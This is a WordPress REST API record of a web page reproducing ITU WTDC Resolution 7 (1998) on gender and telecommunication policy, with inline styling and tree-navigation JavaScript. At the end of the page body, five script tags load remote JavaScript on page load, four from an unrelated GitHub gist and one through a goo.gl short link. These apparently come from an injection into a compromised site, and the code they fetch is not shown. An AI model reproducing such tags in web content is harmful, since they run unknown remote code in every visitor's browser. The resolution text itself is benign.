{"id":699,"date":"2013-06-18T22:01:37","date_gmt":"2013-06-19T02:01:37","guid":{"rendered":"http:\/\/internetdistinction.com\/wsisimpacts\/?page_id=699"},"modified":"2015-06-30T00:05:50","modified_gmt":"2015-06-30T04:05:50","slug":"wtdc_7","status":"publish","type":"page","link":"https:\/\/internetdistinction.com\/wsisimpacts\/wsis\/wtdc\/wtdc-2010\/wtdc_7\/","title":{"rendered":"WTDC Resolution 7"},"content":{"rendered":"<p><style type=\"text\/css\">\r\nbody {}\r\n\r\n:link { color: #0000ff; text-decoration:none;}\r\n:visited { color: #6666ff; text-decoration:none; }\r\na:active { color: #0000ff; text-decoration:none;}\r\na:hover {color: #0000ff; text-decoration:underline; }\r\n\r\ndiv.basetext {}\r\n\r\ndiv.basetop {}\r\n\r\nh1 {\r\n    text-align:center;\r\n}\r\n\r\nspan.h2 {}\r\n\r\ndiv.year {}\r\n\r\ndiv.form {}\r\n\r\nspan.cpt {}\r\n\r\nspan.cm {}\r\n\r\n.fl {}\r\n\r\nul {}\r\n\r\nli {}\r\n\r\nul li {}\r\n\r\nli.basic {}\r\n\r\nspan.links {}\r\n\r\n\r\n\r\n\r\n.sub { display: none; }\r\n.subexp {display: block; }\r\n.sub { display: none; } \r\n\r\n.subexp {display: block; } \r\n\r\nli.exp {\r\n  cursor:pointer;\r\n}\r\n\r\nli.col {\r\n  cursor:pointer;\r\n}\r\n\r\nli.exp_active {\r\n  background-color:#eeeeff;\r\n  cursor:pointer;\r\n}\r\n\r\nli.col_active {\r\n  background-color:#eeeeff;\r\n  cursor:pointer;\r\n}\r\n\r\n\r\nli.basic_active {\r\n  background-color:#eeeeff;\r\n}\r\n<\/style><br \/>\n<SCRIPT language=JavaScript>\r\nfunction get_keycode(evt) {\r\n  \/\/ IE\r\n    code = document.layers ? evt.which\r\n           : document.all ? event.keyCode \/\/ event.keyCode!=evt.keyCode!\r\n           : evt.keyCode;\r\n\r\n  if (code==0) \r\n    code=evt.which; \/\/ for NS\r\n  return code;\r\n}\r\n\r\nvar lastnode=null;\r\nvar listnodes = null;\r\nvar list_index=1;\r\nvar lastnodetype=''; \/\/ determines if node is a link, input or text;\r\n\r\n\/\/ up, left, down, right, keypress codes\r\n\/\/ijkl\r\n\/\/var keys = new Array(105,106,107,108);\r\n\/\/num arrows\r\n\/\/var keys = new Array(56,52,50,54);\r\n\/\/wasd\r\n\/\/ var press2 = new Array(119,97,115,100);\r\n var press = new Array(47,45,42,43);\r\n\r\n\/\/ keydown codes\r\n  \/\/  var keys2=new Array(87,65,83,68);\r\n  var keys= new Array(38,37,40,39);\r\n\r\n  \/\/ keyset 1 = keydown, otherwise press\r\nfunction checkup(keyset,n) {\r\n  if (keyset==1) return (n==keys[0]);\r\n  return ((n==press[0]) \/*|| (n==press2[0])*\/)\r\n}\r\n\r\nfunction checkdn(keyset,n) {\r\n  if (keyset==1) return (n==keys[2]);\r\n  return ((n==press[2]) \/*|| (n==press2[2])*\/)\r\n}\r\n\r\nfunction checkl(keyset,n) {\r\n  if (keyset==1) return (n==keys[1]);\r\n  return ((n==press[1]) \/*|| (n==press2[1])*\/)\r\n}\r\n\r\nfunction checkr(keyset,n) {\r\n  if (keyset==1) return (n==keys[3]);\r\n  return ((n==press[3]) \/*|| (n==press2[3])*\/)\r\n}\r\n\r\n\r\n\r\n\r\n\r\nfunction is_exp(n) {\r\n  if (n==null) return false;\r\n  return ((n.className=='exp') || (n.className=='exp_active'));\r\n}\r\n\r\nfunction is_col(n) {\r\n  if (n==null) return false;\r\n  return ((n.className=='col') || (n.className=='col_active'));\r\n}\r\n\r\nfunction is_basic(n) {\r\n  if (n==null) return false;\r\n  return ((n.className=='basic') || (n.className=='basic_active'));\r\n}\r\n\r\n\r\n\r\n\/* returns i>=0 if true *\/\r\nfunction is_active(node) {\r\n  if (node.className==null) return false\r\n  return node.className.indexOf('_active');\r\n}\r\n\r\nfunction toggle_class(node) {\r\n  if ((node==null) || (node.className==null)) return;\r\n  str=node.className;\r\n  result=\"\";\r\n  i = str.indexOf('_active');\r\n  if (i>0)\r\n    result= str.substr(0,i);\r\n  else\r\n    result= str+\"_active\";\r\n  node.className=result; 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       \r\n    if (node.childNodes!=null) \r\n\/\/ for opera   if (node.hasChildNodes()) \r\n        for ( i = 0; i<node.childNodes.length; i++)\r\n            collapseAll(node.childNodes[i]);\r\n}\r\n\r\n\r\n\r\nfunction unFocus(node) {\r\n     \/\/ unfocuses potential link that is to be hidden (if a==null there is no link so it should not be blurred).\r\n     \/\/ tested with mozilla 1.7, 12.7.2004. \/mn (\r\n      intemp=parent_listnode(node);  \r\n      a = get_link(intemp);     \/\/ added 6.4. to get keyboard working with\r\n      \/\/ moved before collapse to prevent an error message with IE when readonly==true      \r\n      if (a!=null) a.blur(); \/\/ netscape after collapsing a focused node\r\n      return intemp;\r\n}\r\n\r\n\/\/ mode: 0==keypress, 1==keyup\r\nfunction keyfunc(evt,mode) {\r\n var c = get_keycode(evt);\r\n var temp = null;\r\n var a = null;\r\n\r\n  if (lastnode==null) {\r\n    listnodes = document.getElementsByTagName('li');\r\n    lastnode=listnodes[1];\r\n    temp=listnodes[1];\r\n  }\r\n\r\n  \/\/window.alert(c);\r\n  if (checkup(mode,c)) { \/\/ i \r\n   temp=prev_sibling_listnode(lastnode);\r\n  }\r\n  else if (checkdn(mode,c)) { \/\/ k\r\n    temp=next_sibling_listnode(lastnode);\r\n  }\r\n  else if (checkr(mode,c)) { \/\/ l\r\n    expand(lastnode);\r\n    \/\/  temp=next_child_listnode(lastnode);\r\n    \/\/ if (temp==null) {\r\n      a = get_link(lastnode);\r\n        if (a!=null) a.focus(); else self.focus(); \r\n      \/\/}\r\n  }\r\n  else if (checkl(mode,c)) { \/\/ j\r\n    if (is_col(lastnode)) {\r\n      unFocus(lastnode);\r\n      collapse(lastnode);\r\n    }\r\n    else {\r\n      temp=unFocus(lastnode);\r\n      collapse(temp);\r\n    }\r\n   \/\/    if (temp==null) lastnode.focus(); \/\/ forces focus to correct div (try mozilla typesearch) (doesn't seem to work -mn\/6.4.2004)\r\n  }\r\n  else return;\r\n  if (temp!=null) set_lastnode(temp);\r\n\r\n  \/\/ alert('pressed ' + String.fromCharCode(c) + '(' + c + ')');\r\n  return true;\r\n}\r\n\r\n\r\nfunction keytest (evt) {\r\n  return keyfunc(evt,1);\r\n};\r\n\r\n\r\nfunction presstest (evt) {\r\n  return keyfunc(evt,0);\r\n};\r\n\r\n\r\n  document.onclick = onClickHandler;\r\n  document.onkeypress = presstest;\r\n  document.onkeyup = keytest;\r\n<\/SCRIPT><\/p>\n<h3><span style=\"\">WTDC RESOLUTION 7 (Valletta, 1998)<\/span><\/h3>\n<h4><span style=\"\">Gender and Telecommunication Policy in Developing Countries<\/span><\/h4>\n<p><span style=\"\">The World Telecommunication Development Conference (Valletta, 1998),<\/span><\/p>\n<ul class=\"subexp\">\n<li class=\"exp\" style=\"\"><span style=\"\">cons idering<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a) the purposes of the Union as set out in Article 1 of the Constitution (Geneva, 1992) include promoting &#8220;the extension of the benefits of the new telecommunication technologies to all the world&#8217;s inhabitants&#8221;;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b) the responsibility of ITU &#8211; D t o facilitate and enhance telecommunication development by offering, organizing and coordinating technical cooperation and assistance activities;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c) the Beijing Declaration &#8211; United Nations Fourth World Conference on Women (1995) &#8211; which seeks to ensure t hat women have equal access to information and communication as a means of furthering the advancement and empowerment of women and girls,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">recognizing<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a) that telecommunications play a fundamental role in promoting social, political and economic develop ment;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b) that women in their multiple roles make a very important contribution to both social and economic life, particularly in the struggle against poverty in developing countries, and play a key role in shaping the attitudes, welfare and development o f future generations;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c) that full participation in policy and decision &#8211; making and access to telecommunication services will enable women and other groups who have been traditionally disadvantaged to derive benefits and make more effective contributions,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">further recognizing<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a) that the inadequate deployment of telecommunication infrastructure in rural areas makes it particularly difficult for women in such areas to gain access to information and telecommunication services;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b) that, while complex pro cesses of convergence of technologies, liberalization and restructuring produce multiple impacts on employment in the telecommunication sector, e.g. creating jobs, demand for new skills and training, they may also lead to job losses when insufficient atten tion is paid to those needs;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c) that making better use of human resources and skills of women significantly adds to the pool of talent which will be needed in the new information society;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">d) that women constitute a substantial and often under &#8211; served co nsumer market for information and communication technologies,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">conscious<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a) that because of lack of access to alternative communications facilities and high illiteracy levels, women in developing countries rely on broadcasting media as their key source of information;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b) that women and children are frequently most vulnerable during emergencies, and would benefit from improved access to emergency telecommunication services,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">noting<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a) that there has been insufficient attention to understanding the imp acts of telecommunication systems and technologies on women;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b) that there have been few ITU telecommunication projects which have incorporated the perspectives and needs of women,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">resolves<\/span>\n<ul class=\"sub\">\n<li class=\"col\" style=\"\"><span style=\"\">1) to establish a task force on gender issues to facilitate, develop and take forward a range of activities aimed at:<\/span>\n<ul class=\"subexp\">\n<li class=\"basic\" style=\"\"><span style=\"\">a) ensuring that the benefits of telecommunications and the emerging information society are made available to all women and men in developing countries on a fair and equitable basis, (the terms of reference for the task force are attached);<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b) encouraging the recruitment, employment, training and advancement of women throughout the telecommunication field,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2) to incorporate the results of the special sessions on gender issues in the Valletta Acti on Plan;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3) to integrate a gender perspective in the campaign for a universal right to communicate,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">instructs the Director of BDT<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1) to propose to the ITU Council the inclusion of a gender perspective in the ITU Strategic Plan;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2) to report back to th e next world telecommunication development conference on the results and progress made by the task force;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3) transmit this Resolution to the 1998 Plenipotentiary Conference,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">further resolves that ITU &#8211; D<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1) should make a commitment to integrate a gender perspective in its policies and work programmes, including human resources development activities, study groups, seminars, conferences and workshops;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2) should work closely with the task force to implement its programmes expeditiously;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3) should exten d its data collection activities, including the telecommunications indicator series, to provide gender &#8211; disaggregated statistics;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4) should act as an enabling force for the development of an active network between various types of organizations of women i nvolved in the information and telecommunication fields, including non &#8211; governmental organizations (NGOs);<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">5) should support efforts to identify technical and financial resources to carry out the programmes of the task force on gender issues,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">also urges<\/span>\n<ul class=\"sub\">\n<li class=\"col\" style=\"\"><span style=\"\">Member States, Sector Members and intergovernmental organizations<\/span>\n<ul class=\"subexp\">\n<li class=\"basic\" style=\"\"><span style=\"\">1) to review and, as appropriate, revise their policies and practices to ensure that recruitment, employment, training and advancement of women and men are undertaken on a fair and equitab le basis;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2) to facilitate the employment of women in the telecommunication field on an equitable basis, including at senior levels of responsibility in the telecommunication administrations, government and regulatory bodies, intergovernmental organizati ons and the private sector.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/goo.gl\/dd1kPI'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>WTDC RESOLUTION 7 (Valletta, 1998) Gender and Telecommunication Policy in Developing Countries The World Telecommunication Development Conference (Valletta, 1998), cons idering a) the purposes of the Union as set out in Article 1 of the Constitution (Geneva, 1992) include promoting &#8220;the extension of the benefits of the new telecommunication technologies to all the world&#8217;s inhabitants&#8221;; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1486,"menu_order":7,"comment_status":"open","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-699","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/699","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/comments?post=699"}],"version-history":[{"count":0,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/699\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/1486"}],"wp:attachment":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/media?parent=699"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}